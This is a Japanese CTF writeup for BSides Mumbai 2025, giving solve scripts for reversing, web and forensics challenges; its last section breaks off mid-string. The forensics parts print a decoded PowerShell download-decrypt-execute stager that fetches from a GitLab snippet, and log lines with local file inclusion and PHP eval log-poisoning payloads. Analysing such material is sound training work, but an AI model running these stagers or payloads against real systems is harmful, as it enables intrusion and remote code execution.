この大会は2025/6/28 19:00(JST)~2025/6/29 19:00(JST)に開催されました。
今回もチームで参戦。結果は1791点で260チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity (Misc)
問題にフラグが書いてあった。
BMCTF{W3lc0me_t0_CTF_2025}
BADC0DE (Misc)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; char *pcVar2; size_t sVar3; FILE *__stream; undefined8 uVar4; long in_FS_OFFSET; char local_b8 [16]; char local_a8 [16]; char local_98 [136]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); generate_secret(local_b8,0x10); printf("Enter the secret: "); pcVar2 = fgets(local_a8,0x10,stdin); if (pcVar2 == (char *)0x0) { puts("Failed to read input."); } else { sVar3 = strcspn(local_a8,"\n"); local_a8[sVar3] = '\0'; iVar1 = strcmp(local_a8,local_b8); if (iVar1 == 0) { __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { perror("Could not open flag file"); uVar4 = 1; goto LAB_001014cb; } fgets(local_98,0x80,__stream); fclose(__stream); printf("Correct secret! Here\'s your flag: %s\n",local_98); } else { puts("Wrong secret."); } } uVar4 = 0; LAB_001014cb: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar4; } void generate_secret(long param_1,long param_2) { int iVar1; time_t tVar2; undefined8 local_20; tVar2 = time((time_t *)0x0); srand((uint)(tVar2 / 0x3c) ^ 0xbadc0de); for (local_20 = 0; local_20 < param_2 - 1U; local_20 = local_20 + 1) { iVar1 = rand(); *(char *)(local_20 + param_1) = (char)iVar1 + (char)(iVar1 / 0x1a) * -0x1a + 'A'; } *(undefined1 *)(param_1 + param_2 + -1) = 0; return; }
generate_secret関数で生成された値を当てることができれば、フラグを取得できる。
#!/usr/bin/env python3 from pwn import * import ctypes p = remote('badcode.bsidesmumbai.in', 10049) libc = ctypes.CDLL("libc.so.6") tVar2 = libc.time(0) libc.srand((tVar2 // 0x3c) ^ 0xbadc0de) secret = '' for i in range(15): r = libc.rand() secret += chr(r - (r // 26) * 26 + ord('A')) p.sendline(secret.encode()) data = p.recvuntil(b': ').decode() print(data + secret) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to badcode.bsidesmumbai.in on port 10049: Done
Enter the secret: CJYWQRHCMXZOBCJ
Correct secret! Here's your flag: BMCTF{nekonekonek_owo}
[*] Closed connection to badcode.bsidesmumbai.in port 10049
BMCTF{nekonekonek_owo}
Takiya (Misc)
添付の16進数の長大なデータはhexデコードすると、120000バイトある。最初や最後の方はffばかりのデータであることから色を示していると推測する。200×200のピクセルデータであれば、サイズ的に合うので、このデータから画像生成する。
#!/usr/bin/env python3 from PIL import Image with open('takiya', 'r') as f: data = f.read() data = bytes.fromhex(data) WIDTH = 200 HIGHT = 200 output_img = Image.new('RGB', (WIDTH, HIGHT), (255, 255, 255)) for y in range(HIGHT): for x in range(WIDTH): index = (y * WIDTH + x) * 3 r = data[index] g = data[index + 1] b = data[index + 2] output_img.putpixel((x, y), (r, g, b)) output_img.save('flag.png')
生成した画像にフラグが書いてあった。

BMCTF{p1ll0ws_a1n7_p1ll0w1ng}
XORyy (Reverse Engineering)
$ strings XORyy | grep BMCTF Congratulations! You found the flag: BMCTF{X0R_Is_Fun}
BMCTF{X0R_Is_Fun}
idkwhattonamethis (Reverse Engineering)
Ghidraでデコンパイルする。
void main(void) { time_t tVar1; tVar1 = time((time_t *)0x0); srand((uint)tVar1); bamboozler(); return; } undefined8 bamboozler(void) { char cVar1; undefined8 uVar2; size_t sVar3; char local_28 [32]; wibbleWobble(); zoinkifyLogic(); cVar1 = flibberVMCheck(); if (cVar1 == '\0') { printf("Provide access glyph: "); __isoc99_scanf(&DAT_001020ba,local_28); sVar3 = strlen(local_28); if (sVar3 == 5) { scrumbleFlaginator(local_28); uVar2 = 0; } else { puts("No glyph, no glory."); uVar2 = 1; } } else { uVar2 = 0xffffffff; } return uVar2; } void scrumbleFlaginator(char *param_1) { char cVar1; uint uVar2; long lVar3; size_t sVar4; ulong uVar5; char local_9b; undefined1 local_9a; undefined1 local_99; char local_98 [48]; byte local_68 [64]; uint local_28; byte local_21; int local_20; uint local_1c; local_68[0] = 0; local_68[1] = 0; local_68[2] = 0; local_68[3] = 0; local_68[4] = 0; local_68[5] = 0; local_68[6] = 0; local_68[7] = 0; local_68[8] = 0; local_68[9] = 0; local_68[10] = 0; local_68[0xb] = 0; local_68[0xc] = 0; local_68[0xd] = 0; local_68[0xe] = 0; local_68[0xf] = 0; local_68[0x10] = 0; local_68[0x11] = 0; local_68[0x12] = 0; local_68[0x13] = 0; local_68[0x14] = 0; local_68[0x15] = 0; local_68[0x16] = 0; local_68[0x17] = 0; local_68[0x18] = 0; local_68[0x19] = 0; local_68[0x1a] = 0; local_68[0x1b] = 0; local_68[0x1c] = 0; local_68[0x1d] = 0; local_68[0x1e] = 0; local_68[0x1f] = 0; local_68[0x20] = 0; local_68[0x21] = 0; local_68[0x22] = 0; local_68[0x23] = 0; local_68[0x24] = 0; local_68[0x25] = 0; local_68[0x26] = 0; local_68[0x27] = 0; local_68[0x28] = 0; local_68[0x29] = 0; local_68[0x2a] = 0; local_68[0x2b] = 0; local_68[0x2c] = 0; local_68[0x2d] = 0; local_68[0x2e] = 0; local_68[0x2f] = 0; local_68[0x30] = 0; local_68[0x31] = 0; local_68[0x32] = 0; local_68[0x33] = 0; local_68[0x34] = 0; local_68[0x35] = 0; local_68[0x36] = 0; local_68[0x37] = 0; local_68[0x38] = 0; local_68[0x39] = 0; local_68[0x3a] = 0; local_68[0x3b] = 0; local_68[0x3c] = 0; local_68[0x3d] = 0; local_68[0x3e] = 0; local_68[0x3f] = 0; builtin_strncpy(local_98,"QWERTYUIOPASDFGHJKLZXCVBNM9876543210",0x25); local_20 = 0; for (local_1c = 0; local_1c < 0x32; local_1c = local_1c + 2) { local_9b = (&DAT_00102070)[(int)local_1c]; local_9a = (&DAT_00102070)[(int)(local_1c + 1)]; local_99 = 0; lVar3 = strtol(&local_9b,(char **)0x0,0x10); local_21 = (byte)lVar3; uVar5 = (ulong)local_20; sVar4 = strlen(param_1); uVar2 = squibbleIndex((int)param_1[uVar5 % sVar4]); uVar5 = (ulong)local_20; sVar4 = strlen(param_1); cVar1 = gizmoXOR((int)local_98[(ulong)(long)local_20 % 0x25],(int)param_1[uVar5 % sVar4]); local_28 = (int)cVar1 ^ uVar2; local_68[(int)local_1c / 2] = (byte)local_28 ^ local_21; local_20 = local_20 + 1; } printf("Final Output: %s\n",local_68); return; } int squibbleIndex(char param_1) { return (param_1 * 3 + 7) % 0xd; } uint gizmoXOR(byte param_1,byte param_2) { return (uint)(param_1 & param_2) * 2 ^ (uint)(param_1 ^ param_2); }
scrumbleFlaginator関数の最後の繰り返し処理部分は以下のようになっている。
・local_20 = 0 ・50未満の偶数のlocal_1cに対して以下を実行 ・local_9b: DAT_00102070のlocal_1c番目の値 ・local_9a: DAT_00102070のlocal_1c + 1番目の値 ・lVar3: local_9bの文字を16進数として10進数の整数に変換 ・local_21: lVar3をbyte文字にキャスト ・uVar5 = local_20 ・sVar4: bamboozler関数の呼び出しにより、5固定 ・uVar2 = squibbleIndex((int)param_1[uVar5 % sVar4]) ・(param_1[uVar5 % sVar4] * 3 + 7) % 13を返却 ・cVar1 = gizmoXOR((int)local_98[local_20 % 0x25], (int)param_1[uVar5 % sVar4]) ・((int)local_98[local_20 % 0x25] & (int)param_1[uVar5 % sVar4]) * 2 ^ ((int)local_98[local_20 % 0x25] ^ (int)param_1[uVar5 % sVar4])を返却 ・local_28: cVar1とuVar2のXOR ・local_68[local_1c / 2] = (byte)local_28 ^ local_21 ・local_20 = local_20 + 1
1バイトずつにしか関係しないため、フラグが"BMCTF"から始まることを前提に入力文字を求める。うまくいかなかったので、バイナリにブルートフォースで求めてみた。
BMCTF{L0]_D1dWY0g_H0_It?}特に5バイトブロックに分けたときの2, 4文字がおかしい気がするので、調整する。
#!/usr/bin/env python3 from pwn import * binary = './idkwhattonamethis' flag_head = b'BMCTF' glyph = '' for i in range(5): for code in range(32, 127): try_glyph = glyph + chr(code) + '0' * (4 - i) p = process(binary) p.sendline(try_glyph.encode()) data = p.recvuntil(b': ').decode() print(data + try_glyph) data = p.recvline().rstrip() print(data) p.close() output = data[14:] if output[:i+1] == flag_head[:i+1]: if i == 1 and code == ord('F'): continue if i == 3 and code == ord('3'): continue glyph += chr(code) break
最終的な実行結果は以下の通り。
:
[+] Starting local process './idkwhattonamethis': pid 54068
[*] Process './idkwhattonamethis' stopped with exit code 0 (pid 54068)
Provide access glyph: LMF4.
b'Final Output: BMCTz{H0WkD1d_A0u_D\x10_It?u'
[+] Starting local process './idkwhattonamethis': pid 54070
[*] Process './idkwhattonamethis' stopped with exit code 0 (pid 54070)
Provide access glyph: LMF4/
b'Final Output: BMCT|{H0WmD1d_E0u_D\x16_It?s'
[+] Starting local process './idkwhattonamethis': pid 54072
[*] Process './idkwhattonamethis' stopped with exit code 0 (pid 54072)
Provide access glyph: LMF40
b'Final Output: BMCTF{H0W_D1d_Y0u_D0_It?}'
BMCTF{H0W_D1d_Y0u_D0_It?}
Diff_EQ (Reverse Engineering)
Ghidraでデコンパイルする。
undefined8 main(void) { char cVar1; char *pcVar2; undefined8 uVar3; undefined2 local_7a; char local_78 [104]; size_t local_10; local_7a = 0x79; printf("Enter the flag: "); pcVar2 = fgets(local_78,100,stdin); if (pcVar2 == (char *)0x0) { puts("Input error."); uVar3 = 1; } else { local_10 = strlen(local_78); if (local_78[local_10 - 1] == '\n') { local_78[local_10 - 1] = '\0'; } cVar1 = ZP(local_78); if (cVar1 == '\x01') { cVar1 = XQ(local_78); if (cVar1 == '\0') { puts("Wrong flag!"); } else { puts("Correct flag!"); } uVar3 = 0; } else { puts("Invalid format!"); uVar3 = 1; } } return uVar3; } undefined4 ZP(char *param_1) { int iVar1; size_t sVar2; sVar2 = strlen(param_1); if (((sVar2 == 0x12) && (iVar1 = strncmp(param_1,"BMCTF{",6), iVar1 == 0)) && (param_1[0x11] == '}')) { return 1; } return 0; }
あまりにも関数が多いので、angrに解かせる。
#!/usr/bin/env python3 import angr import claripy flag_len = 18 flag_chars = [claripy.BVS(f'flag_{i}', 8) for i in range(flag_len)] flag = claripy.Concat(*flag_chars) flag_with_newline = claripy.Concat(flag, claripy.BVV(b"\n")) project = angr.Project("./Diff_EQ", auto_load_libs=False) state = project.factory.full_init_state( args=["./Diff_EQ"], stdin=flag_with_newline ) for c in flag_chars: state.solver.add(c >= 0x20) state.solver.add(c <= 0x7e) simgr = project.factory.simgr(state) def is_successful(s): return b"Correct flag!" in s.posix.dumps(1) def should_abort(s): out = s.posix.dumps(1) return b"Wrong flag!" in out or b"Invalid format!" in out simgr.explore(find=is_successful, avoid=should_abort) if simgr.found: found = simgr.found[0] flag_solution = found.solver.eval(flag, cast_to=bytes) print(f"[+] Found flag: {flag_solution.decode()}") else: print("[-] No valid flag found.")
実行結果は以下の通り。
WARNING | 2025-06-29 10:05:31,513 | angr.simos.simos | stdin is constrained to 19 bytes (has_end=True). If you are only providing the first 19 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False).
WARNING | 2025-06-29 10:05:32,173 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory with an unspecified value. This could indicate unwanted behavior.
WARNING | 2025-06-29 10:05:32,173 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2025-06-29 10:05:32,174 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff70 with 1 unconstrained bytes referenced from 0x500028 (strlen+0x0 in extern-address space (0x28))
WARNING | 2025-06-29 10:05:32,807 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff71 with 6 unconstrained bytes referenced from 0x500010 (strncpy+0x0 in extern-address space (0x10))
WARNING | 2025-06-29 10:05:32,966 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefec0 with 8 unconstrained bytes referenced from 0x500010 (strncpy+0x0 in extern-address space (0x10))
[+] Found flag: BMCTF{M$K3S_S3N5E}
BMCTF{M$K3S_S3N5E}
Tick-Tock (Web)
アクセスすると、クッキーのsessionに以下が設定されていた。
eyJzZWNyZXQiOiJycHVjYW4ifQ.aGEFPQ.MNnhD0YDNW0pOnfRCikPCF8nl9E
ヘッダ部をデコードする。
$ echo eyJzZWNyZXQiOiJycHVjYW4ifQ | base64 -d {"secret":"rpucan"}
クエリとして"rpucan"を入力して、Searchボタンを押すと、フラグが表示された。
BMCTF{v3ry_very_v3ry_v3ry_very_v3ry_long_flag!}
Operation Overflow (Web)
1~100,000の値を送信し、正しい値の場合、フラグが表示されるようだ。
デベロッパーツールで確認すると、以下のような通信が発生している。
リクエストURL: https://abfb9883.bsidesmumbai.in/graphql
Content-Type: application/json
ペイロード: {"query":"\n query {\n guessNumber(number: 1) {\n correct\n message\n flag\n }\n }\n "}プログラムでnumber総当たりしてみる。
#!/usr/bin/env python3 import requests import json url = 'https://abfb9883.bsidesmumbai.in/graphql' #for num in range(1, 100001): for num in range(31183, 100001): query = "\n query {\n guessNumber(number: %d) {\n correct\n message\n flag\n }\n }\n " % num payload = {"query": query} payload = json.dumps(payload) headers = {"Content-Type": "application/json"} r = requests.post(url, data=payload, headers=headers) assert r.status_code == 200 res = json.loads(r.text) if res['data']['guessNumber']['correct']: flag = res['data']['guessNumber']['flag'] print(flag) break
BMCTF{4l14s_br34k_l1m1ts}
Author Ki PFP (Forensics)
IHDRチャンクのCRCがおかしい。画像の高さが間違っていると推測できるので、CRCが合うよう高さを変更する。
#!/usr/bin/env python3 import struct import binascii with open('Challenge.png', 'rb') as f: data = f.read() head = data[:12] tail = data[29:] for h in range(1104, 1500): height = struct.pack('>I', h) ihdr = data[12:20] + height + data[24:29] crc = struct.pack('!I', binascii.crc32(ihdr)) if crc == data[29:33]: out = head + ihdr + tail with open('Challenge_fix.png', 'wb') as f: f.write(out) break
下の方にフラグが現れた。

BMCTF{H3X_IM4G3_R3S1Z1NG!}
Disk Message (Forensics)
添付のファイルには以下のように記載されている。
powershell -EncodedCommand <base64文字列>
base64文字列をデコードする。
$ echo JABlAD0AKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYQBYAFIAcwBZAFcASQB1AFkAMgA5AHQATAB5ADAAdgBjADIANQBwAGMASABCAGwAZABIAE0AdgBOAEQAZwAyAE4AegBRAHkATwBDADkAeQBZAFgAYwB2AGIAVwBGAHAAYgBpADkAMQBjAEcAUgBoAGQARwBVAHUAWgBXADUAagAnACkAKQApADsAJABlAGQAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABlACkAOwAkAG0AYQBlAHMAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAJABtAGEAZQBzAC4ASQBWAD0AJABlAGQAWwAwAC4ALgAxADUAXQA7ACQAbQBhAGUAcwAuAE0AbwBkAGUAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDADsAJABtAGEAZQBzAC4ASwBlAHkAUwBpAHoAZQA9ADIANQA2ADsAJABtAGEAZQBzAC4AQgBsAG8AYwBrAFMAaQB6AGUAPQAxADIAOAA7ACQAbQBhAGUAcwAuAFAAYQBkAGQAaQBuAGcAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3ADsAJABtAGEAZQBzAC4ASwBlAHkAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBIAGEAcwBoAEEAbABnAG8AcgBpAHQAaABtAF0AOgA6AEMAcgBlAGEAdABlACgAJwBzAGgAYQAyADUANgAnACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAKAAmACAAYwBtAGQAIAAvAGMAIAB2AG8AbAApAC4AUwBwAGwAaQB0ACgAKQBbAC0AMQBdAC4AVAByAGkAbQAoACkAKQApADsAJABkAGMAPQAkAG0AYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkAOwAkAGQAbQA9ACQAZABjAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBkACwAIAAxADYALAAgACQAZQBkAC4ATABlAG4AZwB0AGgAIAAtACAAMQA2ACkAOwBTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAiAG0AZQBzAHMAYQBnAGUALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAGQAbQAgAC0AQQBzAEIAeQB0AGUAUwB0AHIAZQBhAG0AIAAtAE4AbwBOAGUAdwBsAGkAbgBlADsALgBcAG0AZQBzAHMAYQBnAGUALgBlAHgAZQA= | base64 -d $e=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j')));$ed=[System.Convert]::FromBase64String($e);$maes=new-object "System.Security.Cryptography.AesManaged";$maes.IV=$ed[0..15];$maes.Mode=[System.Security.Cryptography.CipherMode]::CBC;$maes.KeySize=256;$maes.BlockSize=128;$maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim()));$dc=$maes.CreateDecryptor();$dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16);Set-Content -Path "message.exe" -Value $dm -AsByteStream -NoNewline;.\message.exe
PowerShellのコードを読みやすいよう整形する。
$e=(new-object Net.WebClient).DownloadString([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j'))); $ed=[System.Convert]::FromBase64String($e); $maes=new-object "System.Security.Cryptography.AesManaged"; $maes.IV=$ed[0..15]; $maes.Mode=[System.Security.Cryptography.CipherMode]::CBC; $maes.KeySize=256; $maes.BlockSize=128; $maes.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $maes.Key=[System.Security.Cryptography.HashAlgorithm]::Create('sha256').ComputeHash([System.Text.Encoding]::UTF8.GetBytes((& cmd /c vol).Split()[-1].Trim())); $dc=$maes.CreateDecryptor(); $dm=$dc.TransformFinalBlock($ed, 16, $ed.Length - 16); Set-Content -Path "message.exe" -Value $dm -AsByteStream -NoNewline; .\message.exe
最初の行のbase64文字列をデコードする。
$ echo aHR0cHM6Ly9naXRsYWIuY29tLy0vc25pcHBldHMvNDg2NzQyOC9yYXcvbWFpbi91cGRhdGUuZW5j | base64 -d https://gitlab.com/-/snippets/4867428/raw/main/update.enc
このURLにアクセスすると、長大なbase64文字列が書いてある。これをダウンロードする。
$ wget https://gitlab.com/-/snippets/4867428/raw/main/update.enc --2025-06-28 21:30:26-- https://gitlab.com/-/snippets/4867428/raw/main/update.enc Resolving gitlab.com (gitlab.com)... 172.65.251.78, 2606:4700:90:0:f22e:fbec:5bed:a9b9 Connecting to gitlab.com (gitlab.com)|172.65.251.78|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 192332 (188K) [text/plain] Saving to: ‘update.enc’ update.enc 100%[=====================================================================================================================>] 187.82K --.-KB/s in 0.04s 2025-06-28 21:30:26 (4.33 MB/s) - ‘update.enc’ saved [192332/192332]
update.encをbase64デコードすると、PEファイルになるので、message.exeとして保存し、実行する。
#!/usr/bin/env python3 from base64 import * with open('update.enc', 'r') as f: pe = b64decode(f.read()) with open('message.exe', 'wb') as f: f.write(pe)
>message
BMCTF{n0t_3very0n3s_cup_of_t34}
BMCTF{n0t_3very0n3s_cup_of_t34}
Logarithms (Forensics)
添付のApacheのaccess.logに気になるアクセスがある。
$ cat access.log | grep rot13 133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/xrl', onfr64_qrpbqr('diNbkitqV5riXS69fTlyAj=='));")); ?>" 133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s5', onfr64_qrpbqr('dBYtUX9UAlV='));")); ?>" 133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s3', onfr64_qrpbqr('b5evSgbsaWx='));")); ?>" 133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("$xrl = svyr_trg_pbagragf('/gzc/xrl');$qngn = '';sbe ($v = 0; $v < 6; $v++) { $qngn .= svyr_trg_pbagragf('/gzc/s'.$v);}$qrp = bcraffy_qrpelcg($qngn, 'nrf-128-rpo', $xrl, BCRAFFY_ENJ_QNGN);rpub 'SYNT: '.$qrp;")); ?>" 133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s0', onfr64_qrpbqr('dhhfp88dfgL='));")); ?>" 133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s2', onfr64_qrpbqr('bi3wo2dGq8H='));")); ?>" 133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s4', onfr64_qrpbqr('+Sfbx/gllSD='));")); ?>" 133.7.133.7 - - [27/Jun/2025:05:45:14 +0000] "GET /index.php?page=../../logs/access.log HTTP/1.1" 200 123 "-" "<?php eval(str_rot13("svyr_chg_pbagragf('/gzc/s1', onfr64_qrpbqr('Ys4tW4mWgOf='));")); ?>"
それぞれrot13になっている部分を復号する。
file_put_contents('/tmp/key', base64_decode('qvAoxvgdI5evKF69sGylNw=='));
file_put_contents('/tmp/f5', base64_decode('qOLgHK9HNyI='));
file_put_contents('/tmp/f3', base64_decode('o5riFtofnJk='));
$key = file_get_contents('/tmp/key');$data = '';for ($i = 0; $i < 6; $i++) { $data .= file_get_contents('/tmp/f'.$i);}$dec = openssl_decrypt($data, 'aes-128-ecb', $key, OPENSSL_RAW_DATA);echo 'FLAG: '.$dec;
file_put_contents('/tmp/f0', base64_decode('quusc88qstY='));
file_put_contents('/tmp/f2', base64_decode('ov3jb2qTd8U='));
file_put_contents('/tmp/f4', base64_decode('+Fsok/tyyFQ='));
file_put_contents('/tmp/f1', base64_decode('Lf4gJ4zJtBs='));
$ cat solve.php <?php $key = base64_decode('qvAoxvgdI5evKF69sGylNw=='); $data = ''; $data .= base64_decode('quusc88qstY='); $data .= base64_decode('Lf4gJ4zJtBs='); $data .= base64_decode('ov3jb2qTd8U='); $data .= base64_decode('o5riFtofnJk='); $data .= base64_decode('+Fsok/tyyFQ='); $data .= base64_decode('qOLgHK9HNyI='); $dec = openssl_decrypt($data, 'aes-128-ecb', $key, OPENSSL_RAW_DATA); echo 'FLAG: '.$dec; ?> $ php solve.php FLAG: BMCTF{1_Kn0w_Ab0uT_A35_4ND_L0g5!!}
BMCTF{1_Kn0w_Ab0uT_A35_4ND_L0g5!!}
Disk Message 2 (Forensics)
Disk Messageと同様の問題になっている。base64文字列をデコードする。
$ echo JABtAD0AKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBIAFIAMABjAEgATQA2AEwAeQA5AG4AYQBYAFIAcwBZAFcASQB1AFkAMgA5AHQATAB5ADAAdgBjADIANQBwAGMASABCAGwAZABIAE0AdgBOAEQAZwAyAE4AegBRADUATgBDADkAeQBZAFgAYwB2AGIAVwBGAHAAYgBpADkAawBhAFgATgByAEwAbQBWAHUAWQB3AD0APQAnACkAKQApADsAJABlAGQAPQBbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABtACkAOwAkAG0AYQBlAHMAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAIgBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AQQBlAHMATQBhAG4AYQBnAGUAZAAiADsAJABtAGEAZQBzAC4ASQBWAD0AJABlAGQAWwAwAC4ALgAxADUAXQA7ACQAbQBhAGUAcwAuAE0AbwBkAGUAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDADsAJABtAGEAZQBzAC4ASwBlAHkAUwBpAHoAZQA9ADIANQA2ADsAJABtAGEAZQBzAC4AQgBsAG8AYwBrAFMAaQB6AGUAPQAxADIAOAA7ACQAbQBhAGUAcwAuAFAAYQBkAGQAaQBuAGcAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAGEAZABkAGkAbgBnAE0AbwBkAGUAXQA6ADoAUABLAEMAUwA3ADsAJABtAGEAZQBzAC4ASwBlAHkAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBIAGEAcwBoAEEAbABnAG8AcgBpAHQAaABtAF0AOgA6AEMAcgBlAGEAdABlACgAJwBzAGgAYQAyADUANgAnACkALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAQgB5AHQAZQBzACgAKAAmACAAYwBtAGQAIAAvAGMAIAB2AG8AbAApAC4AUwBwAGwAaQB0ACgAKQBbAC0AMQBdAC4AVAByAGkAbQAoACkAKQApADsAJABkAGMAPQAkAG0AYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkAOwAkAGQAbQA9ACQAZABjAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBkACwAIAAxADYALAAgACQAZQBkAC4ATABlAG4AZwB0AGgAIAAtACAAMQA2ACkAOwBTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAiAGQAaQBzAGsALgBlAHgAZQAiACAALQBWAGEAbAB1AGUAIAAkAGQAbQAgAC0AQQBzAEIA